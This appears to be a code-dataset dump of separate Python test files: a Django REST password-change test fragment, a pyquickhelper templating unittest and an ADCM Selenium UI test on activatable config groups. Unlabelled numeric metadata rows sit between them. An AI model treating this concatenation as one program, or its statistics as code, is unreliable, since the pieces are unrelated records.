self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user3) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change password for another user.' ) def test_change_password_missing_data_key(self): data = { 'new_password': 'extra-cool-passwd' } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.data['detail'], 'Missing data key: username')
41.588372
80
0.593012
10,113
107,298
6.108969
0.023633
0.091049
0.067012
0.037601
0.962965
0.955439
0.942635
0.934267
0.922418
0.913953
0
0.011727
0.296641
107,298
2,579
81
41.604498
0.806888
0
0
0.781263
0
0
0.168419
0.016049
0
0
0
0
0.188595
1
0.04277
false
0.013035
0.004888
0
0.049287
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8d14e1b09a8626e7f495585ee609369e67238473
4,620
py
Python
_unittests/ut_text/test_templating.py
Pandinosaurus/pyquickhelper
326276f656cf88989e4d0fcd006ada0d3735bd9e
[ "MIT" ]
18
2015-11-10T08:09:23.000Z
2022-02-16T11:46:45.000Z
_unittests/ut_text/test_templating.py
Pandinosaurus/pyquickhelper
326276f656cf88989e4d0fcd006ada0d3735bd9e
[ "MIT" ]
321
2015-06-14T21:34:28.000Z
2021-11-28T17:10:03.000Z
_unittests/ut_text/test_templating.py
Pandinosaurus/pyquickhelper
326276f656cf88989e4d0fcd006ada0d3735bd9e
[ "MIT" ]
10
2015-06-20T01:35:00.000Z
2022-01-19T15:54:32.000Z
# -*- coding: utf-8 -*- """ @brief test tree node (time=1s) """ import sys import os import unittest from pyquickhelper.loghelper import fLOG from pyquickhelper.texthelper.templating import apply_template, CustomTemplateException class TestTemplating(unittest.TestCase): def test_mako(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") tmpl = """ % for i in range(0, len(ll)): print(${ll[i]}) % endfor """ exp = """ print(0) print(2) """ res = apply_template(tmpl, dict(ll=[0, 2])) fLOG(res) self.assertEqual(res.replace(" ", "").replace("\n", ""), exp.replace(" ", "").replace("\n", "")) def test_mako_exceptions(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") tmpl = """ % for i in range(0, len(ll)): print(${ll[i]}) % end for """ exp = """ print(0) print(2) """ try: res = apply_template(tmpl, dict(ll=[0, 2])) assert False except CustomTemplateException as e: assert "0005" in str(e) return assert False fLOG(res) self.assertEqual(res.replace(" ", "").replace("\n", ""), exp.replace(" ", "").replace("\n", "")) def test_mako_exceptions_not_here(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") tmpl = """ % for i in range(0, len(lll)): print(${ll[i]}) % endfor """ exp = """ print(0) print(2) """ try: res = apply_template(tmpl, dict(lll=[0, 2])) assert False except CustomTemplateException as e: # fLOG(str(e)) assert "Undefined" in str(e) return assert False fLOG(res) self.assertEqual(res.replace(" ", "").replace("\n", ""), exp.replace(" ", "").replace("\n", "")) def test_jinja2(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") tmpl = """ {% for i in range(0, len(ll)) %} print({{ll[i]}}) {% endfor %} """ exp = """ print(0) print(2) """ res = apply_template(tmpl, dict(ll=[0, 2], len=len), engine="jinja2") fLOG(res) self.assertEqual(res.replace(" ", "").replace("\n", ""), exp.replace(" ", "").replace("\n", "")) def test_jinja2_exception(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") tmpl = """ {% for i in range(0, len(ll)) %} print({{ll[i]}}) {% end for %} """ exp = """ print(0) print(2) """ try: res = apply_template(tmpl, dict( ll=[0, 2], len=len), engine="jinja2") assert False except CustomTemplateException as e: assert "0005" in str(e) return assert False fLOG(res) self.assertEqual(res.replace(" ", "").replace("\n", ""), exp.replace(" ", "").replace("\n", "")) def test_jinja2_exception_not_here(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") tmpl = """ {% for i in range(0, len(lll)) %} print({{ll[i]}}) {% endfor %} """ exp = """ print(0) print(2) """ try: res = apply_template(tmpl, dict( lll=[0, 2], len=len), engine="jinja2") assert False except CustomTemplateException as e: if "Some parameters are missing or mispelled" not in str(e): raise AssertionError(str(e)) from e return fLOG(res) self.assertEqual(res.replace(" ", "").replace("\n", ""), exp.replace(" ", "").replace("\n", "")) if __name__ == "__main__": unittest.main()
27.664671
87
0.435281
420
4,620
4.533333
0.183333
0.088235
0.094538
0.05042
0.816176
0.816176
0.816176
0.816176
0.793592
0.793592
0
0.017088
0.417316
4,620
166
88
27.831325
0.690193
0.015584
0
0.838028
0
0
0.265036
0
0
0
0
0
0.119718
1
0.042254
false
0
0.035211
0
0.112676
0.126761
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8d20dd03168dc512f4e20fef0dfce5ba50baac88
45,279
py
Python
tests/ui_tests/test_activatable_groups_ui_options.py
amleshkov/adcm
5a6c82a34ef2591cb4952d17ee823c6230aa1d82
[ "Apache-2.0" ]
null
null
null
tests/ui_tests/test_activatable_groups_ui_options.py
amleshkov/adcm
5a6c82a34ef2591cb4952d17ee823c6230aa1d82
[ "Apache-2.0" ]
null
null
null
tests/ui_tests/test_activatable_groups_ui_options.py
amleshkov/adcm
5a6c82a34ef2591cb4952d17ee823c6230aa1d82
[ "Apache-2.0" ]
null
null
null
import pytest # pylint: disable=W0611, W0621, C0302 from adcm_client.objects import ADCMClient from adcm_pytest_plugin.utils import parametrize_by_data_subdirs from tests.ui_tests.app.app import ADCMTest from tests.ui_tests.app.pages import Configuration, LoginPage @pytest.fixture() def app(adcm_fs): return ADCMTest(adcm_fs) @pytest.fixture() def login(app): app.driver.get(app.adcm.url) login = LoginPage(app.driver) login.login("admin", "admin") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_false_field_advanced_false_invisible_false_activiatable_false") def test_group_advanced_false_invisible_false_field_advanced_false_invisible_false_active_false( sdk_client_fs: ADCMClient, path, app, login): """Check that group not active and field is invisible until group is not active. :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) group_active = config.group_is_active_by_name(group_name) assert not group_active fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert len(group_names) == 1 assert group_names[0].text == group_name assert group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_false_field_advanced_false_invisible_false_activiatable_true") def test_group_advanced_false_invisible_false_field_advanced_false_invisible_false_active_true( sdk_client_fs: ADCMClient, path, app, login): """Check that group active and all fields always visible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) group_active = config.group_is_active_by_name(group_name) assert group_active fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert len(group_names) == 1 assert group_names[0].text == group_name assert group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_false_field_advanced_false_invisible_true_activiatable_false") def test_group_advanced_false_invisible_false_field_advanced_false_invisible_true_active_false( sdk_client_fs: ADCMClient, path, app, login): """Check that field is invisible if group is active or not :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) group_active = config.group_is_active_by_name(group_name) assert not group_active fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert len(group_names) == 1 assert group_names[0].text == group_name assert group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_false_field_advanced_false_invisible_true_activiatable_true") def test_group_advanced_false_invisible_false_field_advanced_false_invisible_true_active_true( sdk_client_fs: ADCMClient, path, app, login): """Check that field invisible if activatable group active and not :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) group_active = config.group_is_active_by_name(group_name) assert group_active fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert len(group_names) == 1 assert group_names[0].text == group_name assert group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_false_field_advanced_true_invisible_false_activiatable_false") def test_group_advanced_false_invisible_false_field_advanced_true_invisible_false_active_false( sdk_client_fs: ADCMClient, path, app, login): """ :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) group_active = config.group_is_active_by_name(group_name) assert not group_active fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert len(group_names) == 1 assert group_names[0].text == group_name assert group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_false_field_advanced_true_invisible_false_activiatable_true") def test_group_advanced_false_invisible_false_field_advanced_true_invisible_false_active_true( sdk_client_fs: ADCMClient, path, app, login): """Check that field is visible if group active and advanced enabled :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) group_active = config.group_is_active_by_name(group_name) assert group_active fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert len(group_names) == 1 assert group_names[0].text == group_name assert group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_false_field_advanced_true_invisible_true_activiatable_false") def test_group_advanced_false_invisible_false_field_advanced_true_invisible_true_active_false( sdk_client_fs: ADCMClient, path, app, login): """Check that field is invisible if activatable group is active and not :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) group_active = config.group_is_active_by_name(group_name) assert not group_active fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert len(group_names) == 1 assert group_names[0].text == group_name assert group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_false_field_advanced_true_invisible_true_activiatable_true") def test_group_advanced_false_invisible_false_field_advanced_true_invisible_true_active_true( sdk_client_fs: ADCMClient, path, app, login): """Check that field invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) group_active = config.group_is_active_by_name(group_name) assert group_active fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert len(group_names) == 1 assert group_names[0].text == group_name assert group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_true_field_advanced_false_invisible_false_activiatable_false") def test_group_advanced_false_invisible_true_field_advanced_false_invisible_false_active_false( sdk_client_fs: ADCMClient, path, app, login): """Check thats all invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_true_field_advanced_false_invisible_false_activiatable_true") def test_group_advanced_false_invisible_true_field_advanced_false_invisible_false_active_true( sdk_client_fs: ADCMClient, path, app, login): """Check thats all invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_true_field_advanced_false_invisible_true_activiatable_false") def test_group_advanced_false_invisible_true_field_advanced_false_invisible_true_active_false( sdk_client_fs: ADCMClient, path, app, login): """ :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_true_field_advanced_false_invisible_true_activiatable_true") def test_group_advanced_false_invisible_true_field_advanced_false_invisible_true_active_true( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_true_field_advanced_true_invisible_false_activiatable_false") def test_group_advanced_false_invisible_true_field_advanced_true_invisible_false_active_false( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_true_field_advanced_true_invisible_false_activiatable_true") def test_group_advanced_false_invisible_true_field_advanced_true_invisible_false_active_true( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_true_field_advanced_true_invisible_true_activiatable_false") def test_group_advanced_false_invisible_true_field_advanced_true_invisible_true_active_false( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_false_invisible_true_field_advanced_true_invisible_true_activiatable_true") def test_group_advanced_false_invisible_true_field_advanced_true_invisible_true_active_true( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_false_field_advanced_false_invisible_false_activiatable_false") def test_group_advanced_true_invisible_false_field_advanced_false_invisible_false_active_false( sdk_client_fs: ADCMClient, path, app, login): """Fields visible only if advanced enabled :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_false_field_advanced_false_invisible_false_activiatable_true") def test_group_advanced_true_invisible_false_field_advanced_false_invisible_false_active_true( sdk_client_fs: ADCMClient, path, app, login): """Field visible if advanced and activatable true :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_false_field_advanced_false_invisible_true_activiatable_false") def test_group_advanced_true_invisible_false_field_advanced_false_invisible_true_active_false( sdk_client_fs: ADCMClient, path, app, login): """Field invisible, group visible if advanced :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced group_active = config.group_is_active_by_name(group_name) assert not group_active config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_false_field_advanced_false_invisible_true_activiatable_true") def test_group_advanced_true_invisible_false_field_advanced_false_invisible_true_active_true( sdk_client_fs: ADCMClient, path, app, login): """ :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_false_field_advanced_true_invisible_false_activiatable_false") def test_group_advanced_true_invisible_false_field_advanced_true_invisible_false_active_false( sdk_client_fs: ADCMClient, path, app, login): """ :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced group_active = config.group_is_active_by_name(group_name) assert not group_active config.activate_group_by_name( group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_false_field_advanced_true_invisible_false_activiatable_true") def test_group_advanced_true_invisible_false_field_advanced_true_invisible_false_active_true( sdk_client_fs: ADCMClient, path, app, login): """ :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_false_field_advanced_true_invisible_true_activiatable_false") def test_group_advanced_true_invisible_false_field_advanced_true_invisible_true_active_false( sdk_client_fs: ADCMClient, path, app, login): """Field always invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced config.activate_group_by_name(group_name) group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_false_field_advanced_true_invisible_true_activiatable_true") def test_group_advanced_true_invisible_false_field_advanced_true_invisible_true_active_true( sdk_client_fs: ADCMClient, path, app, login): """Field invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) group_name = path.split("/")[-1] cluster_name = "_".join(path.split("/")[-2:]) cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced group_active = config.group_is_active_by_name(group_name) assert group_active group_names = config.get_group_elements() assert group_names, group_names assert len(group_names) == 1 assert group_names[0].text == group_name fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_true_field_advanced_false_invisible_false_activiatable_false") def test_group_advanced_true_invisible_true_field_advanced_false_invisible_false_active_false( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: 